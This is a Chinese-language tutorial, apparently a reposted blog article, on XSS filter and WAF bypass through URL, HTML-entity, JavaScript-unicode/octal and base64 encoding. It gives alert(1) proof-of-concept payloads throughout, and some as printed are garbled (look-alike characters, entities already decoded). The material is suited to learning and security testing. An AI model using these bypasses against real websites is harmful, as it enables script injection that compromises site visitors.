XSS编码问题以及绕过
常用的編碼
URL編碼: 一個百分號和該字符的ASCII編碼所對應的2位十六進制數字。
例如“/”的URL編碼為%2F
#:%23;
. :%2e;
+ :%2b;
< :%3c;
>: %3e;
!:%21;
空格:%20;
&: %26;
(:%28;
): %29;
”:%22;
’ :%27;
HTML實體編碼: 以&開頭,分號結尾的。 例如“<”的編碼是“<”
HTML實體編碼(10進制與16進制)
例如“<” html十進制:< html十六進制:<
JavaScript編碼: js提供了四種字符編碼的策略
各個編碼的具體利用場景
(1) base64編碼
Data協議使用方法 data:資源類型;編碼,內容
到目前為止 遇到使用base64編碼的情況 大多數是這樣
- <a href=“可控點”>
- <iframe src=“可控點”>
在這種情況下 如果過濾了<> ’ " javascript 的話 那么要xss可以這樣寫 然后利用base64編碼!
將<img src=
x οnerrοr=alert(1)>整條base64編碼為:
PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==
Data協議使用方法 data:資源類型;編碼類型,內容
<script>alert(1)</script>
(<img src=1 οnerrοr=alert(1)> a標簽,object,iframe不支持)
<a href=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>111</a>
<object data=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></object>
(chrome不支持)
<iframe src=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></iframe>
(chrome,firefox支持)
<a>標簽的利用方式
<a href=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>test</a>
這樣當test A鏈接點擊時 就會以data協議 頁面以html/text的方式解析 編碼為base64 然后單點
擊a鏈接時 base64的編碼就被解碼還原成我們原本的
<script>alert(1)</script>然后成功彈窗!
各個編碼的具體利用場景
(2) HTML實體編碼(十進制和十六進制)
瀏覽器是不會在html標簽里解析js中的那些編碼的!onerror較特殊,onerror里的內容是當js解析的,因此可以用JSunicode編碼,但是不能全部編碼只能編碼函數名。如果全部編碼是會出錯的.
如<img src=1 οnerrοr=
“\u0061\u006c\u0065\u0072\u0074(1)”>這種可以彈窗。
\img src=1 οnerrοr=
“\u0061\u006c\u0065\u0072\u0074`1`”>
onerror支持:html10,html16,jsunicode,不支持js8進制和js16進制
HTML十進制和十六進制編碼的分號是可以去掉的。
實體編碼的數字前可以加上很多的0進行繞過WAF,如
如以下代碼可成功執行:
<img src=1
οnerrοr=
“alert('xss')”>
HTML5 新增的實體命名編碼,如
: => [冒號] 
 => [換行]
如<a href=“javasc
ript:alert(1)”>click</a>
<a href=”javascript:alert(1)”>tan</a>
解析器一般將工作分配給兩個組件——詞法分析器(有時也叫分詞器)負責將輸入分解為合法的符號,解析器則根據語言的語法規則分析文檔結構,從而構建解析樹,詞法分析器知道怎么跳過空白和換行之類的無關字符。
<a href=“javasc
ript:alert(1)”>click</a>
首先html編碼被還原出來 然后就成了換行 跟冒號
<a href=“javascript:alert(1)”>click</a>
為什么換行后還能夠執行 是因為瀏覽器中的解析器中詞法分析器 起的作用會跳過空白跟換行之類的無效字符。換行時必須用單雙引號圍住,否則不會跳過。跳過回車和換行,不支持on事件.
然后就構造成了一個完整的語句
<a href=“javascript:alert(1)”>click</a> 代碼成功執行
各個編碼的具體利用場景
(3) Javascript編碼
Javascript偽協議在屬性值中都可以使用,
如<a href=“javascript:alert(‘xss’)”>111</a>點擊111后觸發彈窗。javascript中只識別幾種編碼:Jsunicode js8進制 js16進制
第一種情況 :
你輸入的值存入某個變量 然后最后出現在某個能把字符串當做js代碼來執行的函數里!如:
eval()、setTimeout()、setInterval()
以上都是會將字符串當做js代碼執行的函數!
第二種情況:
var search = “可控點”;
document.getElementById().innerHTML=search;
以上情況很多都是出現在你搜索后 然后顯示的 你所查詢的關鍵字
如果過濾了 <> ’ " & % 等等這些!然后再輸出到頁面上!
按理說這樣是安全了!但是我們把輸入的值改成 js編碼,
如 我們改成<img src=x
οnerrοr=alert(1)>然后進行js八進制編碼 ==>\74\151\155\147\40\163\162\143\75\170\40\157\156\145\162\162\157\162\75\141\154\145\162\164\50\61\51\76然后服務器端接受后 經過過濾器 沒有發現可以過濾的就進入到了innerHTML中
經過js的解碼 我們的代碼又還原回來了 并且注入到了網頁中!這時候代碼執行!成功彈窗!
(4) URL編碼
Javascript:偽協議后面可以使用URL編碼。
如:<a href=“javascript:%61lert(1)”>click me</a>可成功執行彈窗
可用img就不行:<img src=x
οnerrοr=”javascript:%61lert(1)”>
因為href屬性會跳轉到其中的URL,而會進行URL解碼.onerror屬性則只會執行JS,不跳轉
同時后面的url編碼可以再做一次entity(HTML實體)編碼:
<a href=“javascript:%61lert(1)”>click me</a>
總結
以上是生活随笔為你收集整理的XSS编码问题以及绕过的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: sqlmap绕过过滤的tamper脚本分
- 下一篇: kali2.0部署docker